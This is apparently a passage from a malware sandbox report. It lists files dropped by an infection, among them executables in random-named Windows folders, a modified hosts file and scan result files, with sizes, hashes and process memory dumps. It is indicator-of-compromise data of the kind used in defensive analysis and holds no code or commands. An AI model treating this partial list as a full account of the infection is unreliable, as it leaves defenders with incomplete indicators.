
SHA1
83c865f9b70726e0cd341722340693dbb58a0cc6

SHA256
2b6a48fcc1b4fb56287a30cb78953761973513fee55d0247be4f9d5999c827b7

SHA512
5d3c800155f7c54804a6773a9f5f10d4aca6c073ea03b83acda91c1834d56345db3c0a143f74d0825d32e15e0a14776a8ac8fe1075e85c73bb5aa4b6fc414ced

Download Submit
C:\Windows\TEMP\rgpuenbvt\2888.dmp

Filesize
3.0MB

MD5
7ddcbd84a669d99e99d0f4a85e398fcc

SHA1
7ae5323e383db0c498ebba4a2153de7960233fcf

SHA256
2ad79cd89a10fb80d187450dc244fb3366a3ef1fa9cb80c406e219dd9c8e1b0a

SHA512
8f397681769bc67df142a3f5f801e7ed19fcd65bc6fab40323795c44b030d9b7e16c59781782d36232e498a0d14893a6b3a59f23585969977d13f7577f51324a

Download Submit
C:\Windows\TEMP\rgpuenbvt\3688.dmp

Filesize
26.1MB

MD5
0cc47a69f5482cb1c050e92f80dd73e8

SHA1
c0ba85d805ce7d46590b1664d19f4ed441718951

SHA256
4ae6cca77a7149b815934532beccd9be8348398369d41d825cfc73858526c375

SHA512
7f5f21ec2c673d0c0c1bc40ff09e0743c7eb7a730141c4bbd3f98981e75f81de908ac0b0232b1f4b16b556c4477a641f69163912792f0fa038de3e1f3c4350d1

Download Submit
C:\Windows\TEMP\rgpuenbvt\3796.dmp

Filesize
2.8MB

MD5
4b924c83f23b1d7a750bf1120711a1be

SHA1
a560d2af9921f08a03ddae7027363088cf0c5025

SHA256
d0146c3bb8c4195dfd6c1ab40aad3df102e94ed256055d14a5334b666f5be806

SHA512
d8614a4f4a3c8781b45c88a59376399d0c01ba54b362ec42832116cc8d02f5f750dde7b6c373ca1373d2e37bf707e478f69845f66ab6e80e6979d1b0cd2ec887

Download Submit
C:\Windows\TEMP\rgpuenbvt\3896.dmp

Filesize
20.9MB

MD5
0bec7ec505ed200fef649877b81609cb

SHA1
c92d1ed23c546a4c6c6245d4e428924e5c2fafb1

SHA256
361c7225db0e80e8f50b80e7dd6106eaa75693fa36b58cac29d13eb604130d2e

SHA512
f687a9718c78da63d262ffdf5ba63ed6e943334421331e87a8a70efe64e7caae5b5e8ddf4fc1d3b9305ce7eebe4181570222c6de767710d8012c4676439458cb

Download Submit
C:\Windows\TEMP\rgpuenbvt\3972.dmp

Filesize
8.5MB

MD5
aa916a39d9684f4cb458708e34ea1c1f

SHA1
83360f87f903e9fe898284ef18c604c264cd058c

SHA256
30b2d5f0b5f2bfaa1ba181f806dbdca3311cd6f0b32bbf209eff140391850f37

SHA512
1d75603110419fc7eef7779748ec13afc35961316df6ed8984498236ac9881ca529a004d13c8fd4d8905dfeb853f1bbf865c318cb9476344ce537934c7ac5d84

Download Submit
C:\Windows\TEMP\rgpuenbvt\4056.dmp

Filesize
43.8MB

MD5
22d719aa216804d6cbbf45427d523321

SHA1
f0ff42788b4689eca15ce05efe3bf4ba59c9dcb2

SHA256
0c320e13eca8dabca1cf655d543b63ea24b468985112139a73737422146085d1

SHA512
8232ef7c194c50b0754164c2d91fbd0f4fce0ca9246f5b04a93294ed362fe1614edb42f9d38e02e0bb88903d6290ae30e6c620607c40857cfe227084b28339d4

Download Submit
C:\Windows\TEMP\rgpuenbvt\5000.dmp

Filesize
8.7MB

MD5
12d1d8336453238729ac734306404baf

SHA1
0508d7c56f57a4f4e6623956a8c64f8f59216466

SHA256
99f81db8e91b40c32ca27dcbb2946986b3e72e7c9189acd79b6c1aab9d9ab440

SHA512
6960ae9bb9fc48c2ae3da4c6aa35a4456a3e8242a993ca90cafb6ad9f91cd58f8087b43922f95dc81feaf2cf1187c695a5241088f7b78529728a56ca093b8e82

Download Submit
C:\Windows\TEMP\rgpuenbvt\780.dmp

Filesize
1019KB

MD5
b3bf06075588cbab2a04199f42d36223

SHA1
e110adab5db64414bc2dcd7aabb4e43f6e1960ed

SHA256
2b04d1477bb2137ebc5f46886abc4c805936f49527239d844bb5220db3a990b4

SHA512
24c0e8fd7feb4845e3a06dd0651c49863d71c40bd3eb0e68bfd7f941f0032275b278b97f0d457016e60d84029b9f8ef83adde9c2701e86b6c0401a3e0cfd68c4

Download Submit
C:\Windows\Temp\bqazjegtg\uieubf.exe

Filesize
343KB

MD5
2b4ac7b362261cb3f6f9583751708064

SHA1
b93693b19ebc99da8a007fed1a45c01c5071fb7f

SHA256
a5a0268c15e00692a08af62e99347f6e37ee189e9db3925ebf60835e67aa7d23

SHA512
c154d2c6e809b0b48cc2529ea5745dc4fc3ddd82f8f9d0f7f827ff5590868c560d7bec42636cb61e27cc1c9b4ac2499d3657262826bbe0baa50f66b40e28b616

Download Submit
C:\Windows\Temp\nsoF520.tmp\System.dll

Filesize
11KB

MD5
2ae993a2ffec0c137eb51c8832691bcb

SHA1
98e0b37b7c14890f8a599f35678af5e9435906e1

SHA256
681382f3134de5c6272a49dd13651c8c201b89c247b471191496e7335702fa59

SHA512
2501371eb09c01746119305ba080f3b8c41e64535ff09cee4f51322530366d0bd5322ea5290a466356598027e6cda8ab360caef62dcaf560d630742e2dd9bcd9

Download Submit
C:\Windows\Temp\nsoF520.tmp\nsExec.dll

Filesize
6KB

MD5
b648c78981c02c434d6a04d4422a6198

SHA1
74d99eed1eae76c7f43454c01cdb7030e5772fc2

SHA256
3e3d516d4f28948a474704d5dc9907dbe39e3b3f98e7299f536337278c59c5c9

SHA512
219c88c0ef9fd6e3be34c56d8458443e695badd27861d74c486143306a94b8318e6593bf4da81421e88e4539b238557dd4fe1f5bedf3ecec59727917099e90d2

Download Submit
C:\Windows\Temp\rgpuenbvt\tllgdyunt.exe

Filesize
126KB

MD5
e8d45731654929413d79b3818d6a5011

SHA1
23579d9ca707d9e00eb62fa501e0a8016db63c7e

SHA256
a26ae467f7b6f4bb23d117ca1e1795203821ca31ce6a765da9713698215ae9af

SHA512
df6bcdc59be84290f9ecb9fa0703a3053498f49f63d695584ffe595a88c014f4acf4864e1be0adf74531f62ce695be66b28cfd1b98e527ab639483802b5a37a6

Download Submit
C:\Windows\Temp\xohudmc.exe

Filesize
72KB

MD5
cbefa7108d0cf4186cdf3a82d6db80cd

SHA1
73aeaf73ddd694f99ccbcff13bd788bb77f223db

SHA256
7c65ffc83dbbbd1ec932550ea765031af6e48c6b5b622fc2076c41b8abb0fcb9

SHA512
b89b6d9c77c839d0d411d9abf2127b632547476c2272219d46ba12832d5a1dab98f4010738969e905e4d791b41596473397cf73db5da43ecab23486e33b0e1d1

Download Submit
C:\Windows\klhnlzly\yyuzvnr.exe

Filesize
8.7MB

MD5
b5ecca102d8f41561947899d0f958d1f

SHA1
c9a5d47bd5be71cf1735f815a5f24c5d0137487a

SHA256
b615980ec5cb2901c1829af161e8e6157d90cd4058e747aba8d16a202993deb5

SHA512
7ac0555e623a3acb7de440161f6a38fda0d72ef22da0f5d6e3392f7391ac14f7bfbc8d95bba09495511f46ea1deda5520757eae7839170dd74f021d9a02d8238

Download Submit
C:\Windows\rgpuenbvt\Corporate\vfshost.exe

Filesize
381KB

MD5
fd5efccde59e94eec8bb2735aa577b2b

SHA1
51aaa248dc819d37f8b8e3213c5bdafc321a8412

SHA256
441430308fa25ec04fd913666f5e0748fdb10743984656d55acc26542e5fff45

SHA512
74a7eebdee9d25a306be83cb3568622ea9c1b557a8fbb86945331209bdc884e48113c3d01aac5347d88b8d2f786f8929aa6bb55d80516f3b4f9cc0f18362e8e3

Download Submit
C:\Windows\rgpuenbvt\hzvztyutv\Result.txt

Filesize
1KB

MD5
2f8de984f171cdab316e4b8e88343202

SHA1
cb8536340984d9ef8ef683c155881deec95e15e0

SHA256
1aa73a7d38ca062382f533dc18799107654f21ab4c634250dbdf2aec0f463d87

SHA512
2d16277304ec56004e6c06307a63831a3b07089bbbebcf62cccb9c35f5c3ff0eec1d654bdc42388d3ef8d8989e712aeabe12089f104e7e7b1c08e17eae3c44ba

Download Submit
C:\Windows\rgpuenbvt\hzvztyutv\Result.txt

Filesize
1KB

MD5
24a4fd12515bbf222b92fff5b0f3b820

SHA1
83a5b63c9ee3fa5280c826f3c97d01aec51cdb87

SHA256
2274b9f0acd6552122bcd30a342438d4d430ab04a77ea05f4695b6f56bd3935b

SHA512
e1f653ec92b2e463b0dc83617221cafdb2c06f17b1d46acf3d4513f5163f02d37635ee0cea800bd0cab63c8242f931c197dfb7c110ac52c984f1811b56b882fe

Download Submit
C:\Windows\rgpuenbvt\hzvztyutv\penegiqll.exe

Filesize
332KB

MD5
ea774c81fe7b5d9708caa278cf3f3c68

SHA1
fc09f3b838289271a0e744412f5f6f3d9cf26cee

SHA256
4883500a1bdb7ca43749635749f6a0ec0750909743bde3a2bc1bfc09d088ca38

SHA512
7cfde964c1c62759e3ba53c47495839e307ba0419d740fcacbeda1956dcee3b51b3cf39e6891120c72d0aae48e3ea1019c385eb5006061ced89f33b15faa8acb

Download Submit
C:\Windows\rgpuenbvt\hzvztyutv\wpcap.exe

Filesize
424KB

MD5
e9c001647c67e12666f27f9984778ad6

SHA1
51961af0a52a2cc3ff2c4149f8d7011490051977

SHA256
7ec51f4041f887ba1d4241054f3be8b5068291902bada033081eff7144ec6a6d

SHA512
56f0cff114def2aeda0c2c8bd9b3abcacef906187a253ea4d943b3f1e1ca52c452d82851348883288467a8c9a09d014910c062325964bcfe9618d7b58056e1fe

Download Submit
C:\Windows\system32\drivers\etc\hosts

Filesize
1KB

MD5
c838e174298c403c2bbdf3cb4bdbb597

SHA1
70eeb7dfad9488f14351415800e67454e2b4b95b

SHA256
1891edcf077aa8ed62393138f16e445ef4290a866bccdbb7e2d7529034a66e53

SHA512
c53a52b74d19274c20dece44f46c5d9f37cd0ec28cf39cac8b26ba59712f789c14d1b10b7f5b0efdf7ce3211dda0107792cc42503faa82cb13ffae979d49d376

Download Submit
memory/796-215-0x00007FF6A5CB0000-0x00007FF6A5D0B000-memory.dmp

Filesize
364KB

Download
memory/1720-175-0x00007FF6A5CB0000-0x00007FF6A5D0B000-memory.dmp

Filesize
364KB

Download
memory/1776-221-0x00007FF672D40000-0x00007FF672E60000-memory.dmp

Filesize
1.1MB

Download
memory/1776-232-0x00007FF672D40000-0x00007FF672E60000-memory.dmp

Filesize
1.1MB

Download
memory/1776-380-0x00007FF672D40000-0x00007FF672E60000-memory.dmp

Filesize
1.1MB

Download
memory/1776-376-0x00007FF672D40000-0x00007FF672E60000-memory.dmp

Filesize
1.1MB

Download
memory/1776-375-0x00007FF672D40000-0x00007FF672E60000-memory.dmp

Filesize
1.1MB

Download
memory/1776-178-0x00007FF672D40000-0x00007FF672E60000-memory.dmp

Filesize
1.1MB

Download
memory/1776-370-0x00007FF672D40000-0x00007FF672E60000-memory.dmp

Filesize
1.1MB

Download
memory/1776-257-0x00007FF672D40000-0x00007FF672E60000-memory.dmp

Filesize
1.1MB

Download
memory/1776-250-0x00007FF672D40000-0x00007FF672E60000-memory.dmp

Filesize
1.1MB

Download
memory/1776-168-0x0000017C9E7C0000-0x0000017C9E7D0000-memory.dmp

Filesize
64KB

Download
memory/1776-199-0x00007FF672D40000-0x00007FF672E60000-memory.dmp

Filesize
1.1MB

Download
memory/1776-182-0x00007FF672D40000-0x00007FF672E60000-memory.dmp

Filesize
1.1MB

Download
memory/1776-165-0x00007FF672D40000-0x00007FF672E60000-memory.dmp

Filesize
1.1MB

Download
memory/1776-212-0x00007FF672D40000-0x00007FF672E60000-memory.dmp

Filesize
1.1MB

Download
memory/1820-202-0x00007FF6A5CB0000-0x00007FF6A5D0B000-memory.dmp

Filesize
364KB

Download
memory/2308-8-0x0000000000400000-0x0000000000AA4000-memory.dmp

Filesize
6.6MB

Download
memory/2424-197-0x00007FF6A5CB0000-0x00007FF6A5D0B000-memory.dmp

Filesize
364KB

Download
memory/2460-185-0x00007FF6A5CB0000-0x00007FF6A5D0B000-memory.dmp

Filesize
364KB

Download
memory/2664-206-0x00007FF6A5CB0000-0x00007FF6A5D0B000-memory.dmp

Filesize
364KB

Download
memory/2724-160-0x00007FF6A5CB0000-0x00007FF6A5D0B000-memory.dmp

Filesize
364KB

Download
memory/2724-153-0x00007FF6A5CB0000-0x00007FF6A5D0B000-memory.dmp

Filesize
364KB

Download
memory/2944-78-0x0000000001550000-0x000000000159C000-memory.dmp

Filesize
304KB

Download
memory/2988-248-0x0000000000A40000-0x0000000000A52000-memory.dmp

Filesize
72KB

Download
memory/3328-210-0x00007FF6A5CB0000-0x00007FF6A5D0B000-memory.dmp

Filesize
364KB

Download
memory/3372-4-0x0000000000400000-0x0000000000AA4000-memory.dmp

Filesize
6.6MB

Download
memory/3372-0-0x0000000000400000-0x0000000000AA4000-memory.dmp

Filesize
6.6MB

Download
memory/3540-231-0x00007FF6A5CB0000-0x00007FF6A5D0B000-memory.dmp

Filesize
364KB

Download
memory/3572-144-0x0000000010000000-0x0000000010008000-memory.dmp

Filesize
32KB

Download
memory/3572-162-0x0000000000400000-0x0000000000412000-memory.dmp

Filesize
72KB

Download
memory/4116-189-0x00007FF6A5CB0000-0x00007FF6A5D0B000-memory.dmp

Filesize
364KB

Download
memory/4136-228-0x00007FF6A5CB0000-0x00007FF6A5D0B000-memory.dmp

Filesize
364KB

Download
memory/4264-236-0x00007FF6A5CB0000-0x00007FF6A5D0B000-memory.dmp

Filesize
364KB

Download
memory/4304-138-0x00007FF67D930000-0x00007FF67DA1E000-memory.dmp

Filesize
952KB

Download
memory/4304-136-0x00007FF67D930000-0x00007FF67DA1E000-memory.dmp

Filesize
952KB

Download
memory/4304-180-0x00007FF6A5CB0000-0x00007FF6A5D0B000-memory.dmp

Filesize
364KB

Download
memory/4372-193-0x00007FF6A5CB0000-0x00007FF6A5D0B000-memory.dmp

Filesize
364KB

Download
memory/4380-224-0x00007FF6A5CB0000-0x00007FF6A5D0B000-memory.dmp

Filesize
364KB

Download
memory/4744-219-0x00007FF6A5CB0000-0x00007FF6A5D0B000-memory.dmp

Filesize
364KB

Download
memory/5044-238-0x00007FF6A5CB0000-0x00007FF6A5D0B000-memory.dmp

Filesize
364KB

Download
memory/5056-171-0x00007FF6A5CB0000-0x00007FF6A5D0B000-memory.dmp

Filesize
364KB

Download